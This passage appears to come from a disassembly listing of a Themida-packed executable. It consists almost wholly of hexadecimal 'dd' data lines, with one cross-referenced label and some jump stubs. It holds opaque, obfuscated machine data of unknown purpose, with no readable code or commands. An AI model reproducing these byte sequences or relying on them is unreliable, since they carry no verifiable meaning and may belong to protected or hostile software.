0E9000000h, 85Fh, 0C5597B53h, 22B6D6AFh, 8216300Ch dd 0E5798D6Ch, 44D8F4CFh, 0F1CC856Bh, 512B41D5h, 0AB899F33h dd 0EEB0195h, 0FFAF62F6h, 0A98AFD82h, 85145913h, 42A08577h dd 1B331014h, 87276887h, 0A508BA37h, 0ED5613A6h, 0F00CE7B5h dd 5169465Ch, 566E4B19h, 6F17E01Eh, 67FB13F0h, 780B6F90h dd 0AF8B29D8h, 84E48395h, 0D000000h, 275F7B56h, 12627E59h dd 0A04C33B0h, 0A10A1442h, 0C28BC98Fh, 0A4C09B82h, 1DC63910h dd 600FE05Ch, 2F000000h, 0A98D36BDh, 37971145h, 0AC6FFB08h dd 0A3788AD8h, 0CCB33092h, 4F1442A0h, 9F085973h, 7C98738Dh dd 3914B244h, 0BBF30FEAh, 0F48FC720h, 0A017E9E2h, 58C21442h dd 627C58F6h, 5F248F2Ah, 0FB1442A0h, 0A3E38092h, 8E0986F8h dd 0B2EA08E2h, 2D13B717h, 25B6F4Eh, 0DFFBD6F0h, 3B7D4Bh dd 560C0000h, 1522C7Bh, 37D20A26h, 0B20BA6DEh, 9045F062h dd 5083141Eh, 48E6783Eh, 821D5569h, 0B1867770h, 35111442h dd 3A15E31Bh, 8205E61Eh, 64805BC2h, 0BDE96C0Bh, 37CBE7C2h dd 1BF49266h, 0A0F08704h, 0F55E1442h, 28678A9Ch, 57D43686h dd 1442A0A0h, 0D5B3C52Eh, 0A6BB3258h, 1F57C013h, 0C75B7551h dd 83BBD5B1h, 7BCBE3ACh, 42A9A0FEh, 0D45AE14h, 58C77F56h dd 3A522F7Ch, 7A0E6702h, 366E8864h, 8A92E289h, 49FDC41Bh dd 4CE0FAD6h, 72454D7Bh, 42A00EF5h, 0D763CC14h, 448BE4F8h dd 39B618AAh, 1442A042h, 91E2F6D5h, 92411628h, 0EE0016F4h dd 98DFF7D4h, 0FAD6744Eh, 95F9CEE0h, 0E55FE59Ah, 2B5Bh dd 454D8400h, 15922269h, 1442A06Eh, 923C83ECh, 607A5639h dd 19F49219h, 0D6EBEBFDh, 469Eh, 0AA862400h, 31BD5890h dd 552A3C54h, 1969454Dh, 0A0453AB7h, 0F7D61442h, 0BF10ABE3h dd 0D6ECCA56h, 1592EFC4h, 1442A06Eh, 9CB491ABh, 0FC79C964h dd 1442A007h, 0CA116AD3h, 0F4923992h, 2BC6FE18h, 923FF19h dd 565B70C2h, 7C296179h, 144621F1h, 4C3373F0h, 1CE3606Fh dd 0BA144622h, 0F32B3F1Eh, 12A6FF58h, 9DE3C638h, 4B2D7B68h dd 28441F39h, 244722F0h, 0E6548813h, 0FD358EEFh, 38542Fh dd 53D5532h, 0E802DE6Ah, 0FDA972B0h, 11AFB9B5h, 0B4921E32h dd 0B7EF8C9Eh, 3DD1EDC8h, 571A9966h, 313EE0h, 56670000h dd 52296179h, 0BF21713Dh, 42A0BD42h, 9EB01914h, 0BE1943C0h dd 47B713A6h, 1C9FD718h, 0B1015A93h, 0E41C3813h, 0D713749h dd 8C69D490h, 560FE074h, 0AF116179h, 42A04D32h, 50A00914h dd 42A02CD3h, 2F41AA14h, 0D775D769h, 8C73DEFEh, 4A1442A0h dd 0E3ACCFE1h, 0B7197BCBh, 0B9243C19h, 1442A0C2h, 1C152790h dd 13A6A14Ah, 84A07B19h, 85A57E4Ch, 4E49CC2Ch, 0DF272BDAh dd 3585EECDh, 7B1BFCC3h, 2234093Eh, 0F50DEA00h, 5C4C10BDh dd 773597D4h, 0D0E2FED9h, 2F0C7333h, 906D8317h, 26694078h dd 0BD9A3888h, 0C0D26DA5h, 808765E2h, 0B9559FF1h, 0F08BC3DDh dd 805C23A0h, 91FA8079h, 68CAA438h, 798014EBh, 8FAD8780h dd 26BBC57h, 454D1BF0h, 9D7B1969h, 0A2B44F87h, 5621AACDh dd 1AC65A79h, 0EC580673h, 7D4E4C93h, 5FE59A95h, 0A57E1CE5h dd 4ED47385h, 0F4000000h, 0C3B3B82h, 3AB8182Eh, 4136B38Fh dd 0D1742D7h, 64394BA4h, 2269454Dh, 0A06E1592h, 8BED1442h dd 42A0690Eh, 885E514h, 1442A073h, 0B1D76DFh, 927CC32Ch dd 2D7A5639h, 96DD3652h, 20925B70h, 38527C19h, 0F8CADC17h dd 2Ch, 62454D87h, 0E4EEF631h, 2067C075h, 0A06E1592h, 0CDAB1442h dd 42A0AB50h, 65BE2714h, 5639921Eh, 9E5A597Ah, 79586F05h dd 5B70D920h, 29617956h, 4621F17Ch, 3373F014h, 0E3606F4Ch dd 1446221Ch, 22B93EBBh, 0AC151446h, 4999F25Bh, 22956AE7h dd 0D8411446h, 0B38EA4C6h, 0B6915F97h, 5B24629Ah, 3D59342Bh dd 8F2DD2A9h, 63AAE057h, 0D3000000h, 29617956h, 21713D52h dd 1BE05DBFh, 0B71442A0h, 91433C4Eh, 4013A6B9h, 20ACC6A2h dd 36152747h, 733195CDh, 0B9EF9411h, 515C13A6h, 0FDB602DBh dd 0EE0069BAh, 0F4661551h, 14E039FFh, 9B60DDF5h, 3713A657h dd 496375CEh, 2B45216Ch, 0AFFF58F3h, 572BD04Dh, 3EA713A6h dd 0B7456DEh, 0FB0D41F7h, 795608D9h, 0F9972961h, 9A77031Dh dd 424D7082h, 659F1C6Ch, 2B13A683h, 925D2EC2h, 85F619F4h dd 73136A52h, 597C8EE7h, 0AA2E7539h, 61795621h, 957D4E1Ah dd 0E55FE59Ah, 435Bh, 454D8400h, 15922269h, 1442A06Eh dd 680F8CECh, 0E61442A0h, 36D4247Dh, 6F0A4258h, 3092885Dh dd 649CB692h, 56E2B7C9h, 7019607Ah, 8C73F052h, 4A1442A0h dd 9FE81E1h, 208C2EF9h, 269E390Eh, 2D000000h, 2269454Dh dd 0A06E1592h, 0C4AB1442h, 9239927Dh, 0AEB07520h, 0ECFE70A2h dd 95DCF6D2h, 0D5B45270h, 0DCEE89C1h, 61795607h, 32E99F11h dd 0F15EB120h, 0E98719DFh, 21BCF40Ch, 1417160Fh, 0D8A1446h dd 39B02259h, 99BD9261h, 0D8B5CFE1h, 39162CC0h, 0E557E921h dd 5355A392h, 9571FDE9h, 96A8437Bh, 42921C73h, 4F6342E0h dd 9C56443Dh, 9B0413A2h, 0AED3AD4Bh, 884FDDFAh, 95CD2622h dd 0ECC6E8FAh, 107D237Ah, 3C4E3E2Eh, 69454D67h, 19F49222h dd 182AC5FDh, 7956C952h, 20921A61h, 951BFCE2h, 97B9CB09h dd 0E59A95C6h, 445BE55Fh, 84000000h, 2269454Dh, 0A06E1592h dd 83EC1442h, 9239923Ch, 0A0CCB330h, 218A1442h, 0FF19F50Fh dd 1E3211AFh, 5B70370Ch, 349Eh, 45C22400h, 1442A0BEh, 0A0DBA01Dh dd 0E771442h, 4F454BDh, 6F8CE593h, 4D6F4456h, 3E5C3645h dd 0CB126B06h, 0A06E1592h, 0C4AB1442h, 5639927Dh, 7019607Ah dd 2E79565Bh, 64FF3753h, 86DFFFD8h, 21ACA14Eh, 98151446h dd 330FADECh, 10ED0719h, 188A64F8h, 535D10Ch, 435D6F26h dd 3F164E66h, 910E5E50h, 13A284EFh, 8E68FC65h, 0C1F915F0h dd 923F1426h, 0BDC78420h, 9570B329h, 4DA64179h, 347A183Bh dd 9221AAEDh, 0A0CCB330h, 734F1442h, 4F9F0859h, 42A02DD2h dd 2E40A914h, 0CF1F3714h, 0A00BF06Dh, 5EC71442h, 7D4E774Ch dd 0FC1AF492h, 0E6200FEAh, 3AD5E55Fh, 0FE000000h, 0F572454Dh dd 1442A00Eh, 0FED763CCh, 0B20BA6DEh, 0B330926Bh, 1442A0CCh dd 0B8BEC97Bh, 97E8DD78h, 0C13E1C2Eh, 14426D3Ah, 92E82F98h dd 607A5639h, 9E5B7019h, 2Bh, 9D20922Dh, 0F80DD673h, 558DAD86h dd 2C4F61BAh, 92014866h, 42A06E15h, 7DC4AB14h, 16F492h dd 3D1B2DC8h, 607A56E4h, 565B7019h, 52296179h, 0A421713Dh dd 13A692CEh, 0D9C11C8Ch, 6ECEECC6h, 0EC45E169h, 58563958h dd 46258B08h, 0D234144Dh, 8D57AE55h, 0B4902C1Bh, 502F419Ah dd 578C73F0h, 320F1B8Dh, 0F647E21Ah, 2EFC348Dh, 8FA53951h dd 0D0629AB2h, 1D61685Eh, 970C54D9h, 6F86A883h, 726B7DD6h dd 44BA4E3Eh, 93CBE5C1h, 96CEEAC5h, 9CD49057h, 0D649FD7Ah dd 0F391E1F9h, 2AC5FD17h, 3E0F618h, 89C1DDB8h, 698962EEh dd 53D9631h, 7E3D5837h, 8889F1E8h, 23DA126Bh, 4825184Ch dd 0A9869C30h, 3D35991h, 62000000h, 7E563E8Dh, 7956245Ch dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 83000000h dd 48704E8h, 14895C24h, 20596824h, 0C890000h, 446F6824h dd 34890000h, 54685224h, 5A4E931Dh, 0DAF7DAF7h dd 37A9F281h, 81524978h, 15982434h, 81595DBEh, 0BE1598F1h dd 0D3685A5Dh, 89000035h, 4812424h, 424h, 89505E00h, 8BB53C8h dd 1000000h, 5B0389F3h, 2434FF58h, 4C4815Eh, 8B000000h dd 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 4AADE95Ch dd 8F67FFF9h, 7A86D45Ah, 32A2CE59h, 0B81535A9h, 7EB32C8h dd 0E0FFC503h, 52314E61h, 0EF90DB1h, 346269C5h, 11A71D75h dd 3C183A42h, 702AD36Ch, 5E82DA27h, 0C3C6F21h, 79C137CBh dd 26BA9D27h, 4936D896h, 0FE8h, 3D43EB00h, 0FB97990Ah dd 69ED9450h, 80C09485h, 68D0Fh, 0C1810000h, 5F764A80h dd 0AE95Bh, 3FAB0000h, 218C9F1Fh, 0FB09AEC2h, 7080C381h dd 0F7810000h, 35E331A5h, 0BAh, 0B2B86600h, 1A34FF27h dd 8360B966h, 0FBE1BF5Eh, 0C6811A75h, 527CFFDDh, 10E960h dd 0F62C0000h, 3A49245Fh, 57A4CCBBh, 5B302DB7h, 0ACB865E9h dd 612352B9h, 78C8C681h, 0AE97E3Ah, 2A000000h, 6A21E4A5h dd 41C63590h, 44C68129h, 0F5419D5h, 58Bh, 0C8816600h, 348934B2h dd 0CAB96613h, 81E28A1Fh, 77E9F6EAh, 74B86664h, 0F2C28159h dd 666477E9h, 81D075B9h, 0FF9044FAh, 82850FFFh, 0E9FFFFFFh dd 5, 9807E8EAh, 438D8D5Ch, 6A07EB35h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0BECBC352h dd 245F0E99h, 1B718D89h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0F4D807C3h, 0BE9B5F0h dd 0D4000000h, 0AC4BC82h, 0EF3B6A1Ah, 85C7F44Bh, 7E42DA1h dd 7110h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0BAC35242h, 0D781AAEAh, 672FA89Ch, 22B985C7h, 7E4h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 1B84A4C3h, 7A5A9D64h, 51858985h, 907E423h dd 0E40E618Dh, 0DFBF0F07h, 6A5B5FFh, 0BA6607E4h, 95FF67EBh dd 7E43061h, 2C6DB501h, 6AFC07E4h, 4195FF00h db 0Eh, 0E4h word_5F59CE dw 8B07h ; DATA XREF: Themida_:005832ECo dd 3F3DEBC0h, 55E30926h, 0C59C4DC4h, 8161C232h, 0EB8EE85Bh dd 0FD771F67h, 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h dd 3D8926BFh, 267F0D88h, 35F915C9h, 1384DC65h, 886214D1h dd 31D0B5E8h, 36418D8Dh, 89F807EBh, 0E42B39BDh, 718D8907h dd 0E907E41Bh, 6, 0B61B8ED8h, 85C77625h, 7E42DA1h, 6D3Ch dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7C35646h dd 8B0675A1h, 0E404DDBDh, 0F99D8B07h, 0C707E426h, 0E422B985h dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0BD38D464h, 956493F3h, 9EF8BFC7h dd 7E84596h, 0D2000000h, 6203294Bh, 0B58BED2Dh, 7E424ADh dd 15B5FF5Eh, 8A07E41Eh, 198D29FEh, 0FF07E426h, 0E4306195h dd 9D8B5207h, 7E41C15h, 0FF006A5Ah, 0E40E4195h, 0EBC08B07h dd 0C9C31879h, 95CDFCE8h, 0BA7DD836h, 641FDE45h, 0F4555361h dd 0D77AFCBFh, 0B7177C4Bh, 9838096Dh, 14DA3687h, 0C8C9E3DDh dd 0A4BFEC30h, 43025398h, 0CC61C74Ah, 2AD9ECEAh, 0D5CDBC01h dd 8F679BDFh, 7A86D45Ah, 32A2CE59h, 0DD1535A9h, 138DBDFAh dd 0CBD16008h, 0BB7126F7h, 9544D79Dh, 582EF027h, 0F694E312h dd 17049A77h, 48BBC66Fh, 11377253h, 0FF4659Dh, 1147D850h dd 8D8DBF8Dh, 7EB375Dh, 0A198D89h, 8D8907E4h, 7E41B71h dd 15D5CA81h, 85C70FA4h, 7E42DA1h, 5E04h, 5E8h, 7EECC100h dd 9589D51Eh, 7E40F85h, 0B985C758h, 7E422h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0BC42C351h, 0EE814104h, 38503BE2h, 0AEDB5FFh dd 8F0F07E4h, 0Ch, 68E0Fh, 950B0000h, 7E401A1h, 306195FFh dd 12E907E4h, 9B000000h, 7FC9000Dh, 493F8582h, 0AD9F86B3h dd 0D57D95BAh, 0FF006A8Fh, 0E40E4195h, 0EBC08B07h, 0D2F0BB6Ah dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 9116E14Fh, 9C34B698h dd 60D1922h, 0D0336993h, 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh dd 0C394DE38h, 218D0BE5h, 0F06C85B1h, 0C466FBBDh, 8F95DC24h dd 5EFD2218h, 0D5EB24B1h, 761FE0EDh, 0FA96CACAh, 0D35825B8h dd 48C14493h, 0DD286A69h, 0A40D772Fh, 74AD8936h, 5D6A0C24h dd 0E8E5B298h, 14h, 0F557E294h, 939EF62Dh, 0F883E061h dd 0FC82940Fh, 0A8316DAFh, 0C73D69BBh, 0BD895E03h, 7E41C45h dd 673FC681h, 0E9570000h, 0Fh, 1553219Fh, 5A83BA4Bh, 6137C2E0h dd 59D1365Ch, 68h, 85B58900h, 5807E427h, 2A2DEBBAh, 63C8B54h dd 23759589h, 0EF8107E4h, 49CB1219h, 959ABE60h, 0E960444Eh dd 6, 675004EDh, 9D89B5EAh, 7E4167Dh, 0EF816161h, 4161CD29h dd 7AD8501h, 0F78107E4h, 2C0B0511h, 89D1BF0Fh, 0BDB7063Ch dd 2C058D29h, 0E88307E4h, 13E904h, 66110000h, 4D84A682h dd 0CBECDCh, 757DF527h, 0F925FBEAh, 7CF881A5h, 0FFFFF99h dd 0FFFF9085h, 8D25B7FFh, 0EB395A8Dh, 0DE8B6607h, 1B718D89h dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 218799C3h, 3DDBA52Bh, 0B5292CD2h, 7E40DB9h dd 6820Fh, 85890000h, 7E41DD9h, 14298589h, 85C707E4h, 7E42DA1h dd 6778h, 0CE9h, 9DDBC500h, 7CD353B7h, 4E26AA5Fh, 0B985C782h dd 7E422h, 81000000h, 0ADBC1F7h, 5DB5FF37h, 307E41Dh, 0E4098995h dd 10E807h, 130C0000h, 80C38139h, 821523Eh, 0F9B697AEh dd 0CE80F5D0h, 95FF5BFAh, 7E43061h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 51C35242h, 0FFEEAF6h, 6AD3B7h dd 0E4195FFh, 0C08B07E4h, 7ECF5BEBh, 0FFF159Fh, 23C0EDB5h dd 9C85A177h, 356B829Dh, 0B3AE4CAFh, 0E1C5E5FDh, 0AF8EE42Ch dd 2BDFE50Fh, 44DEE88Bh, 0BA7F7122h, 88535E4Fh, 98D58CF3h dd 336552BAh, 910B89ACh, 1C1A4C3Bh, 78534EF9h, 2357A08Dh dd 0B0198F7Ch, 0FDC76D9h, 0A22C7748h, 84ED3198h, 0BF33BE02h dd 0EE865h, 0CB1B0000h, 1A2861h, 9B184E9Ch, 35D87E9Eh dd 0B0A9C981h, 8B583F30h, 0E4233D95h, 60C08107h, 89000064h dd 0E41CC5B5h, 60FF3307h, 1C59B589h, 816607E4h, 612B6DF0h dd 0E90734FFh, 8, 67E60E7Bh, 0CF96D910h, 49B5895Bh, 8107E430h dd 5773E1EBh, 81D38B40h, 268EB2F3h, 698D8B48h, 8107E41Bh dd 0F9B94C3h, 5E936h, 64590000h, 53C495EBh, 38D0Fh, 8B660000h dd 38048FCBh, 29C1B509h, 0ABB907E4h, 83227264h, 952B04EFh dd 7E42D9Dh, 9C3CFF81h, 850FFFFFh, 0FFFFFF98h, 0E8E9D58Ah dd 5D000000h, 0D7484835h, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h dd 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h dd 0E0E3129Dh, 5E99h, 0Bh dup(0) dd 0E9000000h, 15C0h, 0EB3D4A68h, 42A1E907h, 4468FFF9h dd 0E907EB3Eh, 0FFF94297h, 0EB3F2A68h, 428DE907h, 5668FFF9h dd 0E907EB40h, 0FFF94283h, 0EB40E868h, 4279E907h, 9868FFF9h dd 0E907EB41h, 0FFF9426Fh, 0EB424868h, 4265E907h, 0FC68FFF9h dd 0E907EB42h, 0FFF9425Bh, 0EB43A268h, 4251E907h, 0E68FFF9h dd 0E907EB45h, 0FFF94247h, 0EB462F68h, 423DE907h, 7968FFF9h dd 0E907EB47h, 0FFF94233h, 0EB485A68h, 4229E907h, 0B168FFF9h dd 0E907EB49h, 0FFF9421Fh, 0EB4B1E68h, 4215E907h, 7268FFF9h dd 0E907EB4Dh, 0FFF9420Bh, 0EB4E7868h, 4201E907h, 7951FFF9h dd 0D4ADC357h, 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h dd 3FD3EFCAh, 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh dd 5713A99Bh, 79568312h, 7E5B2961h, 0DCB3D266h, 0BE482D2h dd 8C18B3EBh, 0A78597AFh, 0A6B3A02Ah, 4D85EE13h, 0A6B4DFA0h dd 2B5B6C13h, 78098C73h, 5949D8h, 0CB690000h, 39ED6EEh dd 30921CF1h, 42A0CCB3h, 0AD2A8A14h, 1442A0D6h, 0B0C21B84h dd 5CAC028Dh, 0A6A929DFh, 467EE713h, 0A6A9E699h, 6573113h dd 80B81129h, 84BCD6B2h, 0CF4EF6CDh, 267ED7F5h, 0D22D5115h dd 0C4D87808h, 1F314926h, 0E080h, 4F2EA000h, 8820A4B3h dd 92815668h, 0A0CCB330h, 218A1442h, 18F50Fh, 31FFAC8h dd 0D520FDCBh, 7C55E1F7h, 0FDCB035Ch, 7F740820h, 1442A416h dd 55EACB3Dh, 8D549B79h, 0D30B2501h, 2F0C2638h, 0BA98317h dd 45E0182Ch, 0B3C5DBB9h, 6CA4BC99h, 64B4FA95h, 0A6326DE7h dd 7ACA3313h, 3AE49B18h, 97213A6h, 0D9B6D5F7h, 4C6240DEh dd 690E7914h, 0E513A63Ah, 3A730885h, 76DF13A6h, 0F774C41Dh dd 1440D3F4h, 630151BAh, 0FED86C88h, 326A8460h, 906B8597h dd 0FC592074h, 0D2126235h, 12FE4Ch, 0A6C8A000h, 323FC12h dd 637D596Fh, 0C6DAB9CFh, 25411C32h, 1932B891h, 788E223Eh dd 0D6EC809Eh, 384EE2F8h, 0FCAF435Bh, 9D28CF4Ch, 61A613A9h dd 5F7B56D2h, 0B9D8B5CBh, 24635BF8h, 0FD91EA29h, 39424D2Ch dd 0DCB9455Bh, 98F18CC4h, 0A905CB48h, 6AD313A6h, 0A9FA8532h dd 405113A6h, 76F35504h, 13A6A981h, 7C58E44Dh, 8A755062h dd 0CD87808h, 3B360E9Ah, 0DFF1487Bh, 0BE40h, 0F4926900h dd 0F58A0718h, 611442A0h, 99679FF8h, 0D36EA6BAh, 714E687Ah dd 78532159h, 0FA324E29h, 0DEF6D35Fh, 49BB4D85h, 0B2B8652Dh dd 1710221Eh, 1442FE8Eh, 10A4BC99h, 0BEFE1DFAh, 451BB333h dd 0BF332181h, 69398D6Eh, 8E01D810h, 5832D020h, 0CD4A283Ah dd 13A6324Bh, 0FD1CB019h, 2ECC1C92h, 45233555h, 40DCE8C8h dd 0C1117A14h, 982C4823h, 378BA782h, 6236004Ch, 46DF333h dd 9A000012h, 0F60CA0C2h, 5369FD1Dh, 0B3C95D77h, 162CC0D4h dd 0B28B1F3Bh, 1C38134Ch, 7A987288h, 0DCF2D0E6h, 3D553248h dd 0C946F6A9h, 13A99E32h, 56CC5BA0h, 0F1CB5F7Bh, 265E7653h dd 825F798Bh, 5605D66Ah, 97296179h, 0F0021EF9h, 0CFAEF9D6h dd 8FE883BBh, 0EF09E5FBh, 0E22019Fh, 8B6836FCh, 77B8DF73h dd 0DD9EF1h, 0BC15B0E8h, 916C0A6Ch, 8C17B76Eh, 0A63C44Bh dd 0E951FFF8h, 96FF13A6h, 26FF9D8Dh, 1FBF406h, 8BE42C00h dd 0F85AAA04h, 2C62847Bh, 89E952EBh, 6715C80Ah, 0A17F9141h dd 0C8F7D224h, 0DF1780ECh, 724DEB4Dh, 18831E56h, 1310C763h dd 517486EFh, 0A320703Eh, 14F7777Fh, 0D7F5AC1Eh, 3DB1B846h dd 47A7D22Dh, 6DFD284h, 9C7B8DE6h, 6845E333h, 0C9A6BC50h dd 0D1305DB1h, 236362C6h, 111E9Dh, 86A88000h, 0E303DCF2h dd 435D394Fh, 0A6BA99AFh, 521FC12h, 0F9529871h, 586E021Eh dd 0B6CC607Eh, 182EC2D8h, 0DC8F233Bh, 9FC8AF2Ch, 418613A9h dd 0B33092B2h, 1442A0CCh, 0F50F218Ah, 0F1C80018h, 9FD0099Eh dd 0F9B543DBh, 1DD350A0h, 0DC13A6EFh, 2F06FD7Ah, 6BD413A6h dd 0C1117A59h, 0F42C4823h, 6254759h, 58D52589h, 14420A52h dd 8DA78321h, 0C9A8BA55h, 807B2860h, 471B8A15h, 0B14E0E36h dd 26D0935Ch, 32h, 0E432D446h, 25767FD3h, 424D3E13h, 3B9F1C6Ch dd 5913A6EFh, 2402A0F0h, 0F8857A0Eh, 1F13A6F0h, 80962A42h dd 9E3C8CA2h, 0D298AAC0h, 10664Ch, 0F492DB00h, 0C017FA15h dd 0A98DA104h, 0CEE8C450h, 0B8F699BCh, 0E703EB68h, 35D113A9h dd 69043C5Ch, 4522C010h, 0F2D01FFAh, 962A83DCh, 538BA380h dd 4B9B137Ch, 422D45CEh, 50A00914h, 41748CDEh, 617358F1h dd 0F008E583h, 92902A0h, 0E2BFD5F7h, 0D4BB92CAh, 8A288ADAh dd 8C5A92B0h, 0C66199ADh, 44625B6Dh, 121C70C4h, 0F54255A9h dd 25655A46h, 0FF29Fh, 0B2D4AC00h, 0F2F081Eh, 6F89657Bh dd 0D2E6C5DBh, 314D283Eh, 253EC49Dh, 849A2E4Ah, 0E2F88CAAh dd 445AEE04h, 8BB4F67h, 0E024DB58h, 6DB213A9h, 0A08477DEh dd 89061442h, 0C663D525h, 7A9F8597h, 48809A76h, 644254ADh dd 0A98664E7h, 71C12A13h, 7898710Fh, 7F937240h, 4153AC47h dd 9E324A27h, 5B93AB88h, 0F09C0B84h, 137221B4h, 6D0B5BB4h dd 0CE7B6F92h, 0E5254152h, 0A7B9548Ch, 0C6864CC9h, 0B854144Dh dd 1367C0DEh, 62320A8Eh, 6067ED2Dh, 3E00000Fh, 9AB04466h dd 0F70DA1C1h, 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h dd 1E3C162Ch, 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13A9E096h dd 9270FF44h, 0A0CCB330h, 218A1442h, 18F50Fh, 94783EB0h dd 9562FEDh, 7486A27Dh, 0EB03E0AEh, 0F2B26FB3h, 5B2F35CAh dd 91CA2E0h, 4DCB0000h, 435D3942h, 1F1D9AEAh, 6E13A99Ah dd 0A4DCF2D0h, 0AF18F709h, 0CCE4C15Fh, 6E6F0A7Ch, 4C1D547Ch dd 0A03E183Ah, 0D772AAC4h, 83CEABC5h, 0BC578FA5h, 0FD7E2B63h dd 0D13A9F0h, 31DF982h, 87D730CBh, 4DDC440Ah, 55A91214h dd 62320456h, 0B0B33979h, 0EE00000Eh, 4A60F416h, 0A7BD5171h dd 71DB1CBh, 6A801428h, 6DF738Fh, 708C67E0h, 0CEECC6DCh dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A9E166h, 5620AFF4h dd 5B296179h, 0DF26F7Eh, 0C91442A0h, 8BCF0760h, 19E696CEh dd 0BEE05C1Dh, 87Ah, 0A08477E7h, 89061442h, 5A37D525h dd 0D5523042h, 13A99A97h, 4AACFC65h, 720986E8h, 0E013A99Ah dd 9A770C77h, 7AE313A9h, 59714E68h, 0BAD2AFC5h, 0D3E4AB82h dd 0A99AA156h, 0B5912D13h, 6FC8639Bh, 0C664C616h, 1E12CCE7h dd 65501FA3h, 2739D40Ch, 4D6B782Eh, 79CD3614h, 62316D3Ch dd 0E167A7h, 9E00000Eh, 0FA10A4C6h, 576D0121h, 0B7CD617Bh dd 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch, 0E0F6D4EAh dd 4159364Ch, 0CD4AFAADh, 13A9E236h, 56D05FA4h, 5B296179h dd 602E667Eh, 612F6787h, 43573687h, 24FBB2EAh, 820FD60h dd 0DADC35D0h, 0CA35691Dh, 0BE05C1Dh, 7BEh, 9AAE8D2Bh dd 81A300Eh, 18F49233h, 0C6C9ECFEh, 742698E8h, 0AF12B999h dd 17947284h, 13A9C8B6h, 650353BCh, 0C6DC7088h, 0E381D1E9h dd 15DBED07h, 0EF09E583h, 110A1CB7h, 13A92D6Eh, 6FBFEFA0h dd 48916F0Dh, 0E5F7506Eh, 4D0126ECh, 378BF414h, 6231C788h dd 4CA92F6Fh, 5200000Dh, 0AEC4587Ah, 0B21B5D5h, 6B81152Fh dd 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h, 32502A40h, 94AA889Eh dd 0F50DEA00h, 81FEAE61h, 13A9E2FAh, 92841358h, 0EBFD19F4h dd 0A4DCF4D1h, 0A9E1F9D6h, 0AEE6FEDBh, 0B5ED01E0h, 5D1551D4h dd 0B6E69E5Bh dd 0E05C1D49h, 70D8Eh, 8177B700h, 0B1442A0h, 53312384h dd 79339970h, 753D020h, 0D513A9D2h, 0A17E1C6Ch, 2DFF589h dd 0CF7F10E3h, 0BA5E99C7h, 6F1676EFh, 0A429B30h, 514B5C33h dd 0BBDBB450h, 0C2FA0C5Bh, 0C69C1969h, 94144D99h, 39F2D72Bh dd 0D9196232h, 0CA653h, 0FE20F800h, 5B7B546Ah, 0BBD5B1C7h dd 1E321127h, 7D99748Ah, 71EA10E9h, 0D0E67A96h, 2E44D8F6h dd 90A63A50h, 54079BB3h, 0E35027A4h, 0B9FE13A9h, 0AE20922Ah dd 4C22E7E0h, 8DC5E3BDh, 0CC4999F2h, 1442DC37h, 0E283AA3h dd 13E11931h, 0F50FEB36h, 1C26649Ch, 788AA07Eh, 0D7B4ABDBh dd 0AB542BBFh, 2CE05B95h, 183h, 0BBCFAE4Ch, 7956D4A9h dd 7E5B2961h, 9E781666h, 9BAD4880h, 79355A79h, 0B322AC29h dd 77013A6h, 69DB3DCFh, 0CA09163Eh, 8A71DC93h, 4813A620h dd 2BD4CDDFh, 0A013A620h, 58A7D78Fh, 3ED8779Dh, 5AAAC4A0h dd 0A62826DDh, 394BB413h, 579Ah, 424DC300h, 0D455B39h dd 0DEA52272h, 7C1442A0h, 0ED6ABA13h, 13A6A927h, 637D59F5h dd 0FF37902Bh, 0A6A9A952h, 0F50DEA13h, 0F715EFBDh, 0CBB02DBFh dd 8713A6A9h, 92D2A91Eh, 317586DEh, 7808728Dh, 0D163D8h dd 21830000h, 0F3989CAFh, 349F85B9h, 13A69C4Fh, 0BB90A20Bh dd 29617956h, 2C64805Bh, 91DFC9Ah, 0CFAA36D1h, 0AA87A1B3h dd 0AF8C5A92h, 0BD6EA490h, 80D92D5Fh, 0F6FEF7ECh, 0AC891442h dd 0AEE10094h, 0B04EB000h, 4F2CB8D6h, 5264FF37h, 0A4EEFB59h dd 0D0208913h, 0EB3B5732h, 30770C89h, 7AE313A5h, 55304668h dd 0EFEEE539h, 0F1316A19h, 0B3A6Bh, 6A8C6400h, 0C7E7C0D6h dd 27411D33h, 8A9E7D93h, 0E905E0F6h, 0DD767C55h, 3C52E602h dd 9AB04462h, 0FC12A6BCh, 